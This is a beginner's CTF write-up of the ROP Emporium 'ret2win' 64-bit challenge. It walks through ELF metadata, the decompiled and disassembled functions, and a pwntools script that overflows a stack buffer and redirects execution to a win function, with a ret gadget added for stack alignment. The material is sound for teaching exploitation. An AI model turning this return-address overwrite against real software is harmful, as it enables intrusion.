In the past I’ve tried solving ropemporium challenges multiple times, but had a hard time understanding the solutions.

I’m still not confident if I can write coherent explanations for all the challenges, but now I think I kind of get the hang of it.

You can download the binaries here.

Download the binary and unzip it with unzip if you’re on GNU/Linux.

I’ll write the explanations for the 64 bit challenges first because, the majority of the time we’re usually working on amd64.

Run the file command to get a rough outline of the binary features.

$ file ret2win 
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

It’s a 64-bit ELF, and is the binary is LSB. LSB stands for least significant byte.

stack-exchange has a nice explanation on how ELF files determine is the binary is LSB.

The ELF files I’ve seen were all, LSB.

I think it’s okay to think that ELF files will most likely be LSB.

You probably already know what x86-64 is. It’s an ISA that was built as an expansion of x86.

Jim Keller and a couple of other people at AMD designed it around 1999.

The first processor that uses x86-64 came out in 2003.

Check the wikipedia page for further details.

I’m not familiar with version 1 (SYSV), but I think it’s related to the standards used in UNIX System V.

stackoverflow has an explanation on it.

Most ELF files are dynamically linked, it’s the default-linking in GNU/Linux.

Check out the wikipedia page and stackoverflow for more.

Then there’s /lib64/ld-linux-x86-64.so.2, which looks a bit intimidating.

This is the dynamic linker, which is used to execute dynamically linked ELFs.

To be honest, completely understanding what /lib64/ld-linux-x86-64.so.2 is a bit cryptic.

So, let’s just get a hand of what it is for now.

Read the stackexchange,--help , and man ld.so for more info.

$ /lib64/ld-linux-x86-64.so.2 --help
Usage: /lib64/ld-linux-x86-64.so.2 [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked 'ld.so', the program interpreter for dynamically-linked
ELF programs.  Usually, the program interpreter is invoked automatically
when a dynamically-linked executable is started.

You may invoke the program interpreter program directly from the command
line to load and run an ELF executable file; this is like executing that
file itself, but always uses the program interpreter you invoked,
instead of the program interpreter specified in the executable file you
run.  Invoking the program interpreter directly provides access to
additional diagnostics, and changing the dynamic linker behavior without
setting environment variables (which would be inherited by subprocesses).

  --list                list all dependencies and how they are resolved
  --verify              verify that given object really is a dynamically linked
                        object we can handle
  --inhibit-cache       Do not use /etc/ld.so.cache
  --library-path PATH   use given PATH instead of content of the environment
                        variable LD_LIBRARY_PATH
  --glibc-hwcaps-prepend LIST
                        search glibc-hwcaps subdirectories in LIST
  --glibc-hwcaps-mask LIST
                        only search built-in subdirectories if in LIST
  --inhibit-rpath LIST  ignore RUNPATH and RPATH information in object names
                        in LIST
  --audit LIST          use objects named in LIST as auditors
  --preload LIST        preload objects named in LIST
  --argv0 STRING        set argv[0] to STRING before running
  --list-tunables       list all tunables with minimum and maximum values
  --list-diagnostics    list diagnostics information
  --help                display this help and exit
  --version             output version information and exit

This program interpreter self-identifies as: /lib64/ld-linux-x86-64.so.2

Shared library search path:
  (libraries located via /etc/ld.so.cache)
  /lib/x86_64-linux-gnu (system search path)
  /usr/lib/x86_64-linux-gnu (system search path)
  /lib (system search path)
  /usr/lib (system search path)

Subdirectories of glibc-hwcaps directories, in priority order:
  x86-64-v4 (supported, searched)
  x86-64-v3 (supported, searched)
  x86-64-v2 (supported, searched)

Then there’s the GNU/Linux 3.2.0, which specifies the minium kernel version required to run the binary.

Here’s the kernel version for my Ubuntu machine.

Check your version by running uname -a.

$ uname -a
Linux ubuntu 6.17.0-1017-oem #17-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 27 13:48:03 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

Then, comes the build id BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597.

A build-id is a unique checksum for your ELF files.

The build-id is generated from the actual bytes from your ELF file.

Therefore, unless you write the exact same code and compile it with the same options, it will usually be different every time.

Finally the binary is not stripped, meaning that it does have some debugging-symbols.

ELF files will by default contain some debugging symbols unless you strip it away with the strip command.

Interpreting the output of the file command was lot.

But it’s worth doing all the googling because, the more you know about ELF files you’ll get a much clearer understanding on GNU/Linux in general.

We’ll be doing the scripting in Python with pwntools.

Make sure to install pwntools before continuing.

A lot of ctfers, will run checksec from pwntools to see if there are any security-features enabled.

Learning the security-features on ELF files and analyzing the checksec output is much harder than the file output.

So, I’ll skip this for now.

Honestly, I’m not that confident in explaining this part.

If you really want to deep dive check it out yourself.

$ checksec ret2win
[*] '/home/hwkim301/rop_emporium/ret2win/ret2win'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Then use ghidra to decompile the binary.

Here’s what the main function looks like.

undefined8 main(void)
{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2win by ROP Emporium");
  puts("x86_64\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

There’s also a pwnme function as well.

void pwnme(void)
{
  undefined1 local_28 [32];
  memset(local_28,0,0x20);
  puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
  puts("What could possibly go wrong?");
  puts("You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n");
  printf("> ");
  read(0,local_28,0x38);
  puts("Thank you!");
  return;
}

Then comes the win function.

Calling the win function seems to be the goal.

void ret2win(void)
{
  puts("Well done! Here\'s your flag:");
  system("/bin/cat flag.txt");
  return;
}

Now let’s look at the disassembly.

Here’s the disassembly for the main function.

main

Let’s take a loot at the entire disassembly for the main function.

It stars with a push rbp, mov rbp rsp.

0000000000400697 <main>:
  400697:	55                   	push   rbp
  400698:	48 89 e5             	mov    rbp,rsp
  40069b:	48 8b 05 b6 09 20 00 	mov    rax,QWORD PTR [rip+0x2009b6]        # 601058 <stdout@GLIBC_2.2.5>
  4006a2:	b9 00 00 00 00       	mov    ecx,0x0
  4006a7:	ba 02 00 00 00       	mov    edx,0x2
  4006ac:	be 00 00 00 00       	mov    esi,0x0
  4006b1:	48 89 c7             	mov    rdi,rax
  4006b4:	e8 e7 fe ff ff       	call   4005a0 <setvbuf@plt>
  4006b9:	bf 08 08 40 00       	mov    edi,0x400808
  4006be:	e8 8d fe ff ff       	call   400550 <puts@plt>
  4006c3:	bf 20 08 40 00       	mov    edi,0x400820
  4006c8:	e8 83 fe ff ff       	call   400550 <puts@plt>
  4006cd:	b8 00 00 00 00       	mov    eax,0x0
  4006d2:	e8 11 00 00 00       	call   4006e8 <pwnme>
  4006d7:	bf 28 08 40 00       	mov    edi,0x400828
  4006dc:	e8 6f fe ff ff       	call   400550 <puts@plt>
  4006e1:	b8 00 00 00 00       	mov    eax,0x0
  4006e6:	5d                   	pop    rbp
  4006e7:	c3                   	ret

This is the disassembly for the pwnme function.

pwnme

The pwnme function as well, starts with a push rbp, mov rbp rsp.

pwnme even has a sub rsp, 0x20, creating space for the stack frame.

00000000004006e8 <pwnme>:
  4006e8:	55                   	push   rbp
  4006e9:	48 89 e5             	mov    rbp,rsp
  4006ec:	48 83 ec 20          	sub    rsp,0x20
  4006f0:	48 8d 45 e0          	lea    rax,[rbp-0x20]
  4006f4:	ba 20 00 00 00       	mov    edx,0x20
  4006f9:	be 00 00 00 00       	mov    esi,0x0
  4006fe:	48 89 c7             	mov    rdi,rax
  400701:	e8 7a fe ff ff       	call   400580 <memset@plt>
  400706:	bf 38 08 40 00       	mov    edi,0x400838
  40070b:	e8 40 fe ff ff       	call   400550 <puts@plt>
  400710:	bf 98 08 40 00       	mov    edi,0x400898
  400715:	e8 36 fe ff ff       	call   400550 <puts@plt>
  40071a:	bf b8 08 40 00       	mov    edi,0x4008b8
  40071f:	e8 2c fe ff ff       	call   400550 <puts@plt>
  400724:	bf 18 09 40 00       	mov    edi,0x400918
  400729:	b8 00 00 00 00       	mov    eax,0x0
  40072e:	e8 3d fe ff ff       	call   400570 <printf@plt>
  400733:	48 8d 45 e0          	lea    rax,[rbp-0x20]
  400737:	ba 38 00 00 00       	mov    edx,0x38
  40073c:	48 89 c6             	mov    rsi,rax
  40073f:	bf 00 00 00 00       	mov    edi,0x0
  400744:	e8 47 fe ff ff       	call   400590 <read@plt>
  400749:	bf 1b 09 40 00       	mov    edi,0x40091b
  40074e:	e8 fd fd ff ff       	call   400550 <puts@plt>
  400753:	90                   	nop
  400754:	c9                   	leave
  400755:	c3                   	ret

Finally, ret2win also starts with a push rbp, mov rbp rsp.

ret2win

0000000000400756 <ret2win>:
  400756:	55                   	push   rbp
  400757:	48 89 e5             	mov    rbp,rsp
  40075a:	bf 26 09 40 00       	mov    edi,0x400926
  40075f:	e8 ec fd ff ff       	call   400550 <puts@plt>
  400764:	bf 43 09 40 00       	mov    edi,0x400943
  400769:	e8 f2 fd ff ff       	call   400560 <system@plt>
  40076e:	90                   	nop
  40076f:	5d                   	pop    rbp
  400770:	c3                   	ret
  400771:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
  400778:	00 00 00 
  40077b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]

I explained how the return address gets push on to the stack before the function prologue in my previous post here.

Without passing the -fomit-frame-pointer flag, all functions will start with a function prologue and end in an epilogue.

Since all the function’s start with a push rbp, mov rbp rsp, we can conclude that the saved base pointer is at $rbp+8.

Right below the previous functions base pointer is the return address.

But, what if we change the return address to the address of win or any other function we would like to call.

If we change the return address to win the instruction pointer would continue execution at that memory address.

Now that we understand the how sending dummy data under the previous base pointer and overwriting the return address can change the control-flow of the program.

Let’s check the actual binary.

In the pwnme function, the stack creates 0x20 bytes of space via sub rsp,0x20.

From that instruction, you can determine that the buffer is 0x20 bytes.

On top of that, if you send 0x28 bytes of dummy data you can overwrite the previous frame pointer.

After overwriting the frame pointer, you can overwrite the return address by passing the function you want to call.

In this case it’s the win function.

You should pass the memory address of win in little-endian.

Here’s the exploit code.

from pwn import *

p = process('./ret2win')
e = ELF('./ret2win')
payload = b'A' * 0x28 + p64(e.symbols['ret2win'])
p.send(payload)
p.interactive()

For some reason although the code which seems correct, it doesn’t print the content of flag.txt.

It just prints Well done! Here's your flag:.

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
[*] Got EOF while reading in interactive
$  

What the heck is going on?

According to the x86-64 ABI, before a function call stack needs to be 16 byte aligned.

alignment

Simply explained, the size of the payload must be a multiple of 16 before calling a function.

Our previous payload, however was 40 bytes. Which wasn’t a multiple of 16.

payload = b'A' * 0x28 + p64(e.symbols['ret2win'])

In order to align the stack to be a multiple of 16 before the function call, most people usually pass an extra ret instruction.

You can use ROPgadget to find the address of the ret instruction, but I’ll use pwntools.

Here’s the updated code that has an extra ret to ensure the stack is 16 byte aligned before a function call.

from pwn import *

p = process('./ret2win')
e = ELF('./ret2win')
r = ROP('./ret2win')
payload = b'A' * 0x28
payload += p64(r.find_gadget(['ret']).address)
payload += p64(e.symbols['ret2win'])
p.send(payload)
p.interactive()

Run the code.

python solve.py 
[+] Starting local process './ret2win': pid 10879
[*] '/home/hwkim301/rop_emporium/ret2win/ret2win'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Loaded 14 cached gadgets for './ret2win'
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

Voila, there’s the flag neatly printed.

I’m not chinese, but chinese people refer to these kinds of buffer overflow challenges as ret2text.

I think it’s because the goal is to call another function that’s in the .text section in ELF binaries.

Phew, that was a lot…

Although x86-64 is a superset of x86, the ABI is completely different.

I’ll probably be overwhelmed by the nuance of the x86 ABI due to the lack of registers in x86.

For now, I’ll post the x86-64 writeups.